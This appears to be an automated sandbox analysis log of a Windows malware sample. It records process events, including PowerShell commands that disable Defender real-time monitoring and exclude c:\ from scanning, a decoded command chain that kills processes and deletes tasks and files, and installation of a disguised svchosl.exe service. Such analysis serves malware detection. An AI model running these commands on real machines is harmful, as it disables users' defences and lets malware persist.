Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F6A744 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8B9F6A744
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F69974 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8B9F69974
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA242EA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8BA242EA8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA2438EC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8BA2438EC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA243AD4 SetUnhandledExceptionFilter,	16_2_00007FF8BA243AD4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA4F6810 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8BA4F6810
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA4F5DF8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8BA4F5DF8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA4F69F8 SetUnhandledExceptionFilter,	16_2_00007FF8BA4F69F8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BA51D414 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8BA51D414
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAB14A8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8BFAB14A8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAB1EEC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8BFAB1EEC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAB20D4 SetUnhandledExceptionFilter,	16_2_00007FF8BFAB20D4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD4A34 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8BFAD4A34
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8BFAD5054 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8BFAD5054

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds extensions / path to Windows Defender exclusion list

Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -ExclusionPath c:\
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -ExclusionPath c:\

Disables Windows Defender (via service or powershell)

Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True

Encrypted powershell cmdline option found

Source: C:\Users\mig.exe	Process created: Base64 decoded net stop wmservicetaskkill /f /im migrate.exetaskkill /f /im IntelConfigService.exetaskkill /f /im MSTask.exetaskkill /f /im Superfetch.exetaskkill /f /im Wmiic.exetaskkill /f /im Wrap.execmd /c takeown /F "c:\windows\tasks"schtasks /delete /tn "WindowsUpdate" /Fcmd /c takeown /F "C:\ProgramData\migrate.exe"cmd /c del /F /Q "C:\ProgramData\migrate.exe"
Source: C:\Users\mig.exe	Process created: Base64 decoded net stop wmservicetaskkill /f /im migrate.exetaskkill /f /im IntelConfigService.exetaskkill /f /im MSTask.exetaskkill /f /im Superfetch.exetaskkill /f /im Wmiic.exetaskkill /f /im Wrap.execmd /c takeown /F "c:\windows\tasks"schtasks /delete /tn "WindowsUpdate" /Fcmd /c takeown /F "C:\ProgramData\migrate.exe"cmd /c del /F /Q "C:\ProgramData\migrate.exe"

Excessive usage of taskkill to terminate processes

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe

Modifies Windows Defender protection settings

Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_000000014000A180 GetProcessHeap,HeapAlloc,GetCommandLineW,_snwprintf_s,ShellExecuteExW,GetProcessHeap,HeapFree,

6_2_000000014000A180

Source: C:\Users\123.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 1 /NOBREAK	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 2 /NOBREAK	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net start MicrosoftESS	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\ProgramData\MicrosoftSystem\svchosl.exe "svchosl.exe"	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Users\mig.exe "C:\users\mig.exe"	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 start MicrosoftESS	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
